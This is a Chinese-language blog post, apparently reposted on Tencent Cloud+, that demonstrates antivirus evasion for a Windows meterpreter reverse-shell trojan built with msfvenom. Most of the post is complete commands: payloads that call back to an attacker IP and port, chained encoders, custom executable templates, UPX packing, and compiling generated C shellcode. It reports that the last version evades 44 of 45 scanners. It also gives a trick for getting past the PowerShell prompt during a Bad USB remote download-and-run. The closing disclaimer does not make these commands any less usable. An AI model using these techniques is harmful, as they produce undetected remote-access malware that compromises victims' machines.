一个U盘如何引发的黑客事件(二):结合Msfvenom 演示免杀技术

上一篇文章

《一个U盘如何引发的黑客事件》

发布之后,好几个朋友按着流程实操,发现并没有我演示的那么顺利,主要有两个问题:

一是下载木马之后,杀毒软件会直接封杀;

二是在cmd运行powershell脚本指令之后,会有安全提醒弹窗,此时如果不通过鼠标点击确认,将无法执行脚本指令。

先来回答第一个问题,要避开杀毒软件的检测,实现免杀,最基本的思路是编码、换模板、加壳等等。那到底能不能绕开杀软的检测呢?实践是检验真理的唯一标准,今天就结合msfvenom 实地演示一下免杀技术。下面逐一验证:

0、毫无套路地生成木马

上一篇文章直接生成木马,并顺利在肉鸡上运行,是因为虚拟机上只装了360安全卫士,除此之外没有其它杀毒软件。

这个不会被360卫士检测出来的木马,是我们直接用msfvenom生成的反弹 shell 程序,它能够回连到攻击机,并弹出命令行shell。msfvenom指令如下:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.234.128 LPORT=31337 -f exe -o easy_metermm.exe

装上360杀毒之后,可以发现此时已被无情查杀。毕竟是多么耿直的马儿,人从众中一眼就被认出来也是正常。

1、编码混淆

避免被查杀的最普遍方法是编码,简单来说就是改变可执行文件中的代码形状,从而让只识别静态特征码的杀毒软件无法识别,且当木马运行之后,木马会将原始程序解码到内存中,如此一来木马原来的功能自然也不会受到影响。

这里使用评价最高的 x86/shikata_ga_nai 动态编码器进行混淆。msfvenom 指令如下:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.234.128 LPORT=31337 -e x86/shikata_ga_nai -f exe -o enc_metermm.exe

运行360杀毒扫描,发现编码混淆过的马儿被查杀。

2、多重编码

假如杀毒软件采用一种先解码再识别的机制,因此将我们刚才经过编码的马儿查杀,那么这里尝试下多重编码,使用多种编码器多次混淆。msfvenom 指令如下:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.234.128 LPORT=31337 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 10 -f raw|msfvenom -e x86/countdown -a x86 --platform windows -i 10 -f exe -o mulenc_metermm.exe

运行360杀毒扫描,发现多重编码的马儿还是被查杀。

3、自定义可执行文件模板

通常情况下,msfvenom 会使用默认的可执行文件模板来生成马儿,虽然这个模板会经常更新,但它肯定是杀毒软件厂家们的众矢之的。那么,我们尝试下更换可执行文件模板(putty.exe),重新生成木马,msfvenom 指令如下:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.234.128 LPORT=31337 -e x86/shikata_ga_nai-x putty.exe-k -i 5 -f exe -o /var/www/html/putty_metermm.exe

运行360杀毒扫描,发现更换可执行文件模板的马儿依然被查杀。

4、软件加壳

编码跟换模板都行不通,接下来试试加壳。软件加壳,简单来说基本原理是对可执行文件进行加密压缩,运行之后将代码解压为原始程序。可以发现,加壳后的软件,文件更小、但功能不变。这里,我们分别使用5、9级UPX加壳等级对马儿进行武装。msfvenom 指令如下:

upx -5 mulenc_metermm.exe -o mulenc_upx5_metermm.exe

upx -9 mulenc_metermm.exe -o mulenc_upx9_metermm.exe

运行360杀毒扫描,发现经过UPX加壳的马儿仍被查杀。

5、换一个不常见的可执行文件模板

将马儿藏在可执行文件里面,文件的md5值必然会改变,此时将文件与官方原版文件进行对比即可判断是否异常。顺着这个思路,自己写个简单的可执行文件 intOver.exe ,如此一来也就不会有官方原版文件,运行360杀毒扫描,先确认下是安全的。

紧接着,将 intOver.exe 放到kali,并设其为模板生成马儿。msfvenom 指令如下:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.234.128 LPORT=31337 -x intOver.exe -f exe -o /var/www/html/intover_metermm.exe

运行360杀毒扫描,发现可怜的马儿依然被查杀。

6、生成c代码并自行编译

网上找了些资料,发现了新思路,不直接生成可执行文件,而是生成c代码。msfvenom 指令如下:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=192.168.234.128 LPORT=33137 -e x86/shikata_ga_nai -i 15 -b '\x00\' -f c -o c2metermm.c

用VS2013编译生成,运行360杀毒扫描,可以发现此时扫描结果并不包含我们生产的 c2mm.exe ,也就是说马儿躲开了360杀毒的查杀。

与此同时,也成功通过Bad USB实现键盘Powershell 远程下载并运行,取得目标机的meterpreter shell

针对这个马儿,用多个杀软进行扫描,结果还是蛮意外的,45个杀软只有1个输出是疑似病毒,其它都能顺利实现免杀。

至于第二个问题 “在cmd运行powershell脚本指令之后,会有安全提醒弹窗” ,只要在cmd先进入powershell命令行,再逐行敲入并运行脚本,即可避开。

本文仅供研究讨论,请勿用于非法用途。谢谢!

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20181020G15VBG00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

扫码关注云+社区

领取腾讯云代金券